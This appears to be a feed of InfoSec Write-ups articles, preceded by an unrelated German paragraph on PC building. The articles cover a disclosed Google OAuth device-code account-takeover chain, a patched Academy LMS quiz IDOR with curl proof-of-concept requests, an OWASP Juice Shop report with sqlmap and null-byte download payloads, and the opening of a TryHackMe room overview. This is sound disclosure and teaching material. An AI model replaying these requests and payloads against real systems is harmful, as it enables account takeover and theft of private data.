Wer 2026 einen PC baut, sieht sich mit neuen Spielregeln konfrontiert. Der KI-Boom hat den Markt spürbar verzerrt und Arbeitsspeicher zum kostspieligen Schmerzpunkt gemacht. Ein Grund zum Abwarten ist das aber nicht. Dafür steht zu viel spannende Technik in den Regalen – Besserung ist aktuell auch gar nicht in Sicht.

Die Devise lautet deshalb: Priorisieren statt Verzweifeln. Wer beim RAM den Sweetspot trifft (DDR5-6000), auf Vorratskäufe verzichtet oder im Office-Bereich geschickt auf DDR4 ausweicht, holt das Maximum aus seinem Budget heraus. Wenn Sie Ihr Geld strategisch verteilen und die Preisfallen der Hersteller umschiffen, können Sie Ihren Traum-PC auch in Krisenzeiten realisieren.

This one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.

Two bugs stack together. First, the session that anchors a device-code sign-in is fully transferable: copy the sign-in URL from one browser to another and the second browser’s login satisfies the first device’s poll. Second, the authorization server never binds client_id and scope to the device_code server-side, so both can be swapped in the URL after the fact. Chain the two together with the prompt=none parameter and any link, opened by a victim who has ever used "Sign in with Google" anywhere, silently hands over an access token for an arbitrary Google-registered client, no click, no consent screen, no 2FA prompt, almost no trace in the victim's account activity.

Reported to Google’s VRP on Feb 25, 2026, initially closed twice as “won’t fix”: social engineering, reopened after a one-click PoC, fixed by Mar 28, 2026, and rewarded $13,337. Details on that back-and-forth are in the disclosure timeline below.

1. Intro

Most of the well-known attacks on OAuth go after the client or the resource server: a malicious app, an open redirect, a signing-algorithm mix-up. They leave the authorization server itself alone, because it’s the one party in the protocol that’s supposed to be unshakeable, the thing every other trust decision is anchored to. This is a story about going after that assumption directly, in the one corner of OAuth that’s explicitly designed to let the login happen on a completely different screen: the device authorization grant.

It started as a mundane afternoon setting up a TV app on a game console, and it ended with a way to silently take over accounts on virtually any site that offers “Sign in with Google.” Getting from one to the other took two separate findings stacked on top of each other, a rejected report, and a fix to the fix. What follows is that story, roughly in the order it actually happened, blockers included.

2. The Device Authorization Grant

Most OAuth flows assume the device asking for access has a browser sitting right there to redirect through. RFC 8628 exists for the case where it doesn’t: a smart TV, a games console, a headless CLI. The shape is different from the usual redirect dance:

1. The device calls the authorization server directly (POST /device/code) and gets back a device_code (secret, stays on the device) and a user_code (short, shown on screen).
2. The device displays the user_code and tells the user to go to a URL, google.com/device in Google's case, on any other browser.
3. The user opens that URL on their phone or laptop, types the code, signs in, and consents.
4. Meanwhile the device has been polling POST /token with its device_code. Once the user finishes step 3, the next poll returns an access token.

The whole point of the design is that the device and the browser doing the authenticating can be, and usually are, two completely different pieces of hardware. That’s also exactly what makes this flow interesting to attack: the protocol already expects the login to happen somewhere else. The only thing holding the model together is that the “somewhere else” has to be a browser the legitimate device owner is sitting at.

That’s the assumption. The rest of this write-up is what happened when I went looking for the place where Google’s implementation stops enforcing it.

3. Setting Up YouTube TV on a PS5

I was setting up the YouTube app on my PS5, ordinary first-run setup. The console has no keyboard and no way to type a password comfortably with a controller, so it does the sensible thing: it shows a short user_code on screen and tells you to go sign in on your phone instead. I typed the code into google.com/device, signed into Google, approved the consent screen, and a few seconds later the PS5 was logged in.

Nothing about that felt unusual as a user, but the flow itself was intriguing: a screen with no keyboard asking me to authenticate on a completely separate device, and coming back logged in seconds later. That disconnect between where I typed my password and where the session actually landed is what made me want to look at it more closely. Behind the scenes, that’s:

• POST https://oauth2.googleapis.com/device/code → device_code + user_code.
• The PS5 polling POST https://oauth2.googleapis.com/token with that device_code.
• My phone’s browser walking through https://accounts.google.com/o/oauth2/v2/auth?… to finalize consent once I typed the code and signed in.
• The PS5’s next poll returning an access token.

Standard, boring, RFC-compliant. The interesting part is what that accounts.google.com/o/oauth2/v2/auth URL is actually carrying, and what happens if you don't treat it as disposable. That question is exactly what kicked off everything that follows.

4. The Transferable Session

The obvious question with any flow where “the state lives in a URL” is: what happens if you just move the URL? If the entire sign-in step for a device_code can be handed to someone else, then whoever finishes that sign-in step ends up logged into my device, not theirs.

RFC 8628 §5.4 anticipates exactly this and tells implementers not to let it happen: the whole security model of the flow depends on the user completing verification on a device they’re not about to lose control of.

I started a fresh device flow on the PS5, walked through google.com/device on a laptop, and at the consent screen copied the resulting URL into a second browser. That failed outright: no session for the second browser to pick up.

But the device-code page asks for an email address before showing consent. Entering one forwards the browser to a different endpoint entirely: a challenge page at accounts.google.com/v3/signin/challenge/…, carrying a new parameter, TL=APouJz6T…. Sending that URL to a second browser worked. The second browser prompted a completely normal Google sign-in. Seconds after logging in, that account showed up on the PS5.

TL is an encrypted blob carrying the session state, practically certain to be the device_code, or something that resolves to it, given that it's the only thing left in the URL that could anchor the poll back to a specific device.

Vulnerability #1: the device-code sign-in session is transferable via URL. RFC 8628 explicitly says it shouldn’t be. Send the link, get the account.

That’s a real account takeover, but a narrow one. YouTube TV’s scopes are capped by design, and that cap is the wall I hit next.

5. Breaking the Scope Fence

A YouTube TV account takeover is real, but Google fences the device flow to a short, deliberately low-risk scope allowlist. Per Google’s own docs: “This OAuth 2.0 flow supports a limited set of scopes.” The complete list:

• openid, email, profile
• youtube, youtube.readonly
• drive.appdata, drive.file (app-scoped Drive only, not full Drive)

No Gmail, no full Drive, no cloud-platform, no compute. The access token I got only worked against a YouTube TV–internal API: enough to like a video or subscribe to a channel. Not exactly a headline bug.

So I looked again at the transferable challenge URL:

accounts.google.com/v3/signin/challenge/…
  ?TL=APouJz6T…              <- encrypted session state
  &response_type=none
  &client_id=861556708454-…   <- YouTube TV
  &scope=…                    <- YouTube scopes

Two things stand out. response_type=none means this isn't a normal code/token redirect: there's nothing coming back to a callback at all. And there is no redirect_uri anywhere in the URL. The entire boundary that OAuth normally relies on to pin where a grant goes is simply absent from this endpoint, because the grant never gets delivered through the browser; it gets delivered out-of-band, over the device's /token poll.

The only thing anchoring the session is TL. client_id and scope are just along for the ride in the query string. So: keep TL, swap client_id for a different application, and see which client the authorization server ends up authenticating.

I scripted the device-code issuance, took the resulting URL, and changed client_id from YouTube TV to Google's own Cloud SDK client, with scope changed to cloud-platform, compute, appengine.admin. The consent screen that came back said Google Cloud SDK, listing the elevated scopes. Approving it, my polling script, still polling with the original YouTube TV device_code, got back a token on its next call. Inspecting it: cloud-platform, compute, appengine.admin. Not YouTube.

Vulnerability #2: the server never validates that the client_id and scope in the authorization URL match what the device_code was actually issued for.

Combined with vulnerability #1, the authorization server ends up issuing tokens under one client’s identity (Google Cloud SDK, or any other Google-registered client, first- or third-party) for a session that started under a completely different one (YouTube TV). redirect_uri isn't just weakly validated here: it's not present at all, because the grant never travels through a redirect in this flow to begin with.

The escalation chain worked end to end, at least on paper. Only one step was left: telling Google about it, and finding out whether they’d agree it was a bug at all.

6. From Consent Screen to One Click

I filed this as a report. It came back rejected the next day, citing user interaction: the victim “consented.” Fair, in a narrow sense: the consent screen is genuinely rendered by Google, the click is a genuine click. But the thing being consented to was shaped entirely by parameter substitution in a link I built, and from the victim’s side there is nothing to notice that’s different from any other Google sign-in. Still, “user interaction” was the stated bar, so the next step was removing it.

OAuth has a prompt parameter for exactly the case of skipping the consent screen: set to none, it tells the authorization server not to show any UI if the user has already granted the requested scopes to that client before. It's meant to be narrow, restricted to low-risk scopes like openid, email, profile, and gated on prior consent.

In practice it isn’t narrow at all. “Sign in with Google” is everywhere, and most people have already granted openid email profile to dozens, sometimes hundreds, of apps over the years without ever thinking about it again.

Take the weaponized device-code URL, drop in Facebook’s client_id (any site using "Sign in with Google" works the same way), set scope=openid email profile, add prompt=none. The victim opens the link, and that's the only action required: no consent screen, no button to press. The browser silently completes the flow in the background, the polling script receives an id_token for that third-party application, and that token replays cleanly against the app's own "Sign in with Google" endpoint.

One link. Opening it is the only interaction required. Account takeover on virtually any application that uses Sign in with Google.

The technical bypass was solid. What I didn’t know yet was whether any of it would actually be visible, to the victim or to Google’s own monitoring, if it were used for real.

7. Why the Victim Never Notices

The natural follow-up: surely something surfaces to the victim: a login alert, a new entry under connected apps, a 2FA prompt? It doesn’t, and that’s not incidental. Every signal that would normally catch this gets routed around by the shape of the device-code flow itself.

Audit trail pollution. myaccount.google.com/connections shows the original client bound to the device_code, YouTube TV, never the substituted application. To find any trace of the attack, a victim would have to open the connections page, scroll to find "YouTube TV" among however many connected apps they have, click into it, click "see details" to expand the granted scopes, and then recognize that YouTube TV requesting cloud-platform / compute / appengine.admin is not normal. Five deliberate steps and a piece of domain knowledge very few people have.

Implicit 2FA bypass. The victim goes through a completely ordinary Google sign-in, which already satisfies any 2FA they have configured. The token handoff to the attacker happens afterward, over the device poll, with no further prompt of any kind. The actual high-risk action, an OAuth grant under an arbitrary client’s identity, never trips a high-risk challenge, because as far as the authentication layer is concerned, nothing risky happened; a user just logged in normally.

Stealth, solved. The remaining question was reach: how far the same substitution trick could be pushed past YouTube TV’s own scopes.

8. Extending the Primitive

Stealth is one axis; reach is the other. The same client_id/scope substitution keeps paying out against different corners of the Google ecosystem.

Persistent access via accounts.reauth. Add that scope to the substitution and the resulting grant can refresh indefinitely, with no further victim interaction required: a shoot-and-forget backdoor rather than a one-time token.

A Gmail backdoor via IMAP, not the REST API. Substituting a client_id that's allowed to request https://mail.google.com (Apple's iOS Mail client, for instance) gets a token scoped to full Gmail access. Hitting the Gmail REST API with it fails: "Gmail API has not been used in project 861556708454 before or it is disabled." That project ID belongs to YouTube TV, and the original device-code client never had the Gmail API enabled. That's a project-level gate, not a token-level one, so it's worth checking whether there's another door into the same mailbox. Gmail's IMAP server supports OAuth via the XOAUTH2 SASL mechanism, using the exact same https://mail.google.com/ scope but going through imap.gmail.com:993 instead of the REST API's project-gated surface. It accepts the token without issue. Full inbox access, with the same token the REST API had just rejected.

End to end: a transferable session, plus unvalidated client_id/scope binding, plus prompt=none, equals a link that's invisible to the person who opens it and ends in a fully compromised account, Gmail included.

Chain complete: transferable session, unbound client_id/scope, prompt=none, silent to the victim, and a Gmail backdoor at the end of it. Time to see what Google's VRP panel made of all that.

9. Disclosure Timeline

Feb 25, 2026 Report filed with Google VRP
Mar 2, 2026 Closed: Won’t Fix (Intended Behavior), citing “social engineering”
Mar 2, 2026 Pushed back same day
Mar 3, 2026 Reopened, then closed again: Won’t Fix (Infeasible)
Mar 3, 2026 Countered with a prompt=none one-click PoC against Facebook’s client_id
Mar 4, 2026 Reopened a second time and accepted; bug filed with the product team
Mar 28, 2026 Marked fixed
Apr 2, 2026 Rewarded $13,337

The two rejections both leaned on the same argument: that tricking a user into approving an OAuth prompt is a social-engineering problem, not a vulnerability in Google’s implementation. That didn’t hold up on either pass. The first rejection ignored that this is the exact sign-in flow every Google user already knows, on accounts.google.com, arriving at an app that has no business holding cloud-platform or appengine.admin scopes doing exactly that. The second treated it as equivalent to installing a malicious OAuth app, which the prompt=none PoC against Facebook's client_id directly disproved: there was no prompt to approve, and no app to install; the victim only had to open a link.

10. Mitigations

For a flow that’s explicitly designed to hand sign-in off to a second device, the fix has to happen server-side, since there’s nothing meaningful a client application can check on its own:

1. Keep user_code, device_code, and any session reference that resolves to them out of URLs entirely. If a session can't be copied into a different browser, it can't be handed to a victim.
2. Bind client_id and scope to the device_code at issuance time, server-side. At the consent step, look those values up from that binding instead of trusting whatever the URL says; reject any mismatch.
3. On the consent screen, show device information (name, model) and require the user to actively confirm that device is the one in front of them.

11. Conclusion

The device authorization grant is a narrow, deliberately low-trust flow, right up until the authorization server treats “who is asking” and “what are they asking for” as details that only need to be true at the start of the flow, not checked again by the time consent is granted. Once the session itself turned out to be transferable across browsers, the missing binding between device_code and client_id/scope stopped being a narrow YouTube TV bug and became a way to mint tokens for any Google-registered client, first-party or third-party, capped only by which scopes that client happens to be allowed to request.

Thanks for reading.

Originally published on https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html

Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Author: Shikhali Jamalzade
GitHub: alisalive
LinkedIn: camalzads
Type: Independent Security Research | WordPress Plugin CVE Research

This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.

Background: Why Academy LMS

My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.

Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?

This turned out to be exactly the right question.

Understanding the Architecture

Academy LMS uses two parallel systems for handling API requests.

The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.

The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.

When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.

The Quiz attempts controller told a different story.

Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' => '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.

The Vulnerability: Two Separate Failure Points

The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.

Failure point one: the target user was read from the request, not the session.

// addons/quizzes/api/quiz-attempts.php, line ~305
$student_id = $request->get_param( 'user_id' );
if ( ! $student_id ) {
    $student_id = get_current_user_id();
}

The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.

Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.

// lines ~308-315
$is_administrator = current_user_can( 'administrator' );
$is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );
$enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );
$is_public        = \Academy\Helper::is_public_course( $course_id );

if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {
    // returns attempt details
}

Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.

The database query confirmed the full impact:

// classes/query.php, get_quiz_attempt_details()
"SELECT
    attempt_answers.attempt_id,
    attempt_answers.user_id,
    attempt_answers.is_correct,
    attempt_answers.answer as given_answer,
    quiz_answers.answer_title as correct_answer,
    quiz_answers.answer_content,
    quiz_answers.is_correct as is_correct_answer,
    quiz_questions.question_title,
    quiz_questions.question_type,
    ...
FROM {$wpdb->prefix}academy_quiz_attempt_answers as attempt_answers
LEFT JOIN {$wpdb->prefix}academy_quiz_answers as quiz_answers
    ON attempt_answers.question_id = quiz_answers.question_id
WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"

The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.

The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.

Both were confirmed exploitable during testing.

The Contrast with the Fixed Code

What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:

// includes/api/notes.php (fixed)
public function get_user_notes( $request ) {
    $user_id = get_current_user_id();
    // ...
}

No $request->get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.

This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.

Live Proof of Concept

I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.

Actors in the test:

• Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course
• Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker

The attacker authenticates normally and obtains a valid REST nonce:

curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null
curl -s -b cj.txt -c cj.txt \
  --data-urlencode 'log=pocsubscriber' \
  --data-urlencode 'pwd=PASSWORD' \
  --data-urlencode 'wp-submit=Log In' \
  --data-urlencode 'testcookie=1' \
  "http://TARGET/wp-login.php" -o /dev/null

NONCE=$(curl -s -b cj.txt \
  "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")

The attacker then sends a request supplying the victim’s user_id and attempt_id:

curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \
  "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&user_id=5"

The response:

{
  "3": {
    "attempt_id": "3",
    "user_id": "5",
    "is_correct": true,
    "given_answer": [],
    "correct_answer": [
      {
        "answer_id": "2",
        "quiz_id": "33",
        "answer_title": "SECRET_CORRECT_Paris",
        "answer_order": "1"
      }
    ],
    "answer_content": "CORRECT_ANSWER_CONTENT",
    "question_title": "Capital of France?",
    "question_type": "true_false"
  }
}

User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:

curl -s -b cj.txt \
  --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \
  --data-urlencode 'security=ACADEMY_NONCE' \
  --data-urlencode 'course_id=32' \
  --data-urlencode 'attempt_id=3' \
  --data-urlencode 'user_id=5' \
  "http://TARGET/wp-admin/admin-ajax.php"

Response: "success": true, same data.

Impact Assessment

The impact has two distinct dimensions.

The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.

The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.

The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.

CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

Disclosure Timeline

Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02

Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02

Submitted to WPScan vulnerability database with CVE request: 2026–07–02

WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02

Fix confirmed in latest version by code review (all $request->get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10

Write-up published: 2026–07–10

The Fix

The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:

// Before (vulnerable):
$student_id = $request->get_param( 'user_id' );
if ( ! $student_id ) {
    $student_id = get_current_user_id();
}

// After (fixed):
$current_user_id = get_current_user_id();

The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.

What This Teaches

A few things stood out during this research that are worth naming explicitly.

The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.

The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.

Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.

If you found this useful, feel free to connect on LinkedIn or check out my projects on GitHub.

How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Setup OWASP Juice Shop Locally Using Docker

Install Docker

Run:

docker pull bkimminich/juice-shop
docker run - rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop

Browse to:
http://localhost:3000

1. Privilege Escalation via User Registration API

Summary (with CWE)

The application allows an attacker to self-register an administrator account by directly invoking the user creation API and supplying the role parameter in the request body. Due to missing server-side authorization and role validation, the backend blindly trusts client input. This results in unauthorized privilege escalation, granting full administrative access without authentication or approval.

CWE ID

• CWE-269 — Improper Privilege Management
• CWE-285 — Improper Authorization

Severity (CVSS v3.1)

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Metrics:

• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

CVSS Base Score: 9.8 (Critical)

Description

OWASP Juice Shop exposes a user registration API endpoint (/api/Users) that accepts user details in JSON format. The backend fails to enforce role based access control during user creation and allows the client to specify sensitive attributes such as role. An attacker can exploit this flaw by sending a crafted POST request with "role":"admin", resulting in the creation of an administrator account without any authorization checks.

This vulnerability completely compromises the application, as administrative privileges allow full access to sensitive data and management functions.

Steps to Reproduce

1. Send a POST request to: http://localhost:3000/api/Users
2. Edit request body and add role parameter: { "role": "admin" }
3. Submit the request using Burp Suite.
4. The server responds with a successful user creation message.
5. Log in using the created credentials.

Suggested Remediation

• Enforce server-side role control
• Default role assignment
• Allow admin role assignment only through authenticated admin workflows
• Validate permissions on every sensitive endpoint

References

1. OWASP Top 10 — Broken Access Control
2. CWE-269: Improper Privilege Management
3. CWE-285: Improper Authorization
4. OWASP Juice Shop Project

2. OAuth Account Takeover

Summary (with CWE)

OWASP Juice Shop implements Google OAuth login in an insecure manner by deterministically generating user passwords on the client side. The password is derived by reversing the user’s email address and Base64-encoding it, which can be easily reproduced by an attacker.

This design flaw allows an attacker to log in directly using email/password authentication for an OAuth-registered user, resulting in full account takeover without cracking hashes or bypassing authentication controls.

CWE ID

• CWE-522 — Insufficiently Protected Credentials
• CWE-287 — Improper Authentication
• CWE-284 — Improper Access Control

Severity (CVSS v3.1)

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metrics

• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: None

CVSS Base Score: 9.1 (Critical)

Description

OWASP Juice Shop allows users to register and log in via Google OAuth. During this process, the application uses a client-side JavaScript function userService.oauthLogin() found in main.js.

The OAuth workflow internally calls:

• userService.save() (user creation)
• userService.login() (standard login)

Both functions set the user password using the following logic:

password = btoa(n.email.split("").reverse().join(""))

Password Generation Logic

• The email address is reversed.
• The reversed string is Base64-encoded.
• The result is used as the account password.

Steps to Reproduce:

Identify OAuth Password Logic

• Open main.js
• Search for oauthLogin
• Locate: password: btoa(n.email.split("").reverse().join(""))

Derive Victim Password

Email: bjoern@gmail.com
Reversed: moc.liamg@nreojb
Base64 encoded password:

bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=

Suggested Remediation

• Never generate passwords client-side
• Separate OAuth and password authentication
• Use strong, random credentials
• Do not expose authentication logic
• Perform security design reviews

References

1. OWASP Top 10 — Broken Authentication
2. CWE-522 — Insufficiently Protected Credentials
3. OAuth 2.0 Security Best Practices (RFC 8252)
4. OWASP Juice Shop Project

3. SQL Injection in Product Search Endpoint

Summary (with CWE)

An SQL Injection (SQLi) vulnerability was identified in the product search functionality of OWASP Juice Shop. The application fails to properly sanitize user-controlled input in the q parameter, allowing attackers to inject malicious SQL queries.

This flaw enables unauthorized database access, including enumeration of database tables and potential exposure of sensitive data.

CWE ID

CWE-89 — Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)

Severity (CVSS v3.1)

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metrics

• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: None

CVSS Base Score: 9.1 (Critical)

Description

The /rest/products/search API endpoint accepts user input via the q parameter to search for products. This input is directly incorporated into backend SQL queries without sufficient sanitization or parameterization.

An attacker can exploit this weakness to inject arbitrary SQL commands, allowing enumeration of database schema and extraction of sensitive information. Automated tools such as sqlmap can successfully detect and exploit this vulnerability, confirming the presence of SQL injection.

This issue represents a complete breakdown of input validation and secure query handling, posing a serious risk to application confidentiality and integrity.

Exploit Using sqlmap

sqlmap -u "http://localhost:3000/rest/products/search?q=apple" --tables

Got User credentials :)

Suggested Remediation

• Sanitize and validate all user-supplied inputs
• Implement parameterized queries
• Deploy a Web Application Firewall (WAF)
• Enable logging & monitoring

References

1. OWASP SQL Injection Prevention Cheat Sheet
2. CWE-89 — SQL Injection
3. OWASP Juice Shop Documentation
4. CVSS v3.1 Specification: https://www.first.org/cvss/v3.1/

4. Arbitrary File Download via Poison Null Byte Injection

Summary (with CWE)

The application is vulnerable to Poison Null Byte Injection, allowing an attacker to bypass file extension validation and download sensitive backup files stored on the server. By exploiting improper input validation and unsafe file handling, restricted backup files such as developer and salesman data can be accessed.

CWE ID

• CWE-158 — Improper Neutralization of Null Byte
• CWE-22 — Improper Limitation of Pathname to Restricted Directory

Severity (CVSS v3.1)

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS Base Score: 7.5 (High)

Description

OWASP Juice Shop restricts file downloads in the /ftp endpoint by validating file extensions. However, this validation can be bypassed using a Poison Null Byte (%00) injection combined with double URL encoding.

The backend improperly handles null bytes during file system access, causing the application to truncate the filename at the null byte and serve restricted backup files (e.g., .bak) while still passing extension validation checks.

This results in unauthorized access to sensitive backup files, potentially exposing configuration details, credentials, or business data.

Steps to Reproduce:

Access a Developer’s Forgotten Backup File:

1. Navigate to the FTP directory: http://localhost:3000/ftp
2. Attempt direct access (fails due to extension restriction): http://localhost:3000/ftp/package.json.bak
3. Try Poison Null Byte injection (fails initially): http://localhost:3000/ftp/package.json.bak%00.md
4. URL-encode the % character as well: http://localhost:3000/ftp/package.json.bak%2500.md

The server successfully returns the restricted backup file, completing the exploit.

Access a Salesman’s Forgotten Backup File:

1. Use the same Poison Null Byte technique: http://localhost:3000/ftp/coupons_2013.md.bak%2500.md
2. The backup file downloads successfully, revealing sensitive business data.

Backup file downloads successfully.

Suggested Remediation

• Reject null bytes explicitly
• Decode input before validation
• Use allow-listed file access
• Disable public access to backups
• Use secure file APIs

References

1. OWASP Foundation — OWASP Juice Shop
2. CWE-158: Improper Neutralization of Null Byte
3. OWASP Testing Guide — File Handling Vulnerabilities
4. PortSwigger — File Path Traversal & Null Byte Attacks

Thanks For Reading :)

Happy Hacking ;)

VAPT Report Example was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

“Agent 47, your mission begins. 30 targets stand between you and the root.”
Author: Shikhali Jamalzade
GitHub: github.com/alisalive
LinkedIn: linkedin.com/in/camalzads

📋 Room Overview

Platform TryHackMe
Room Name Linux Agency
Link https://tryhackme.com/room/linuxagency
Difficulty Medium
Category Linux Fundamentals + Privilege Escalation
Initial Access SSH (agent47)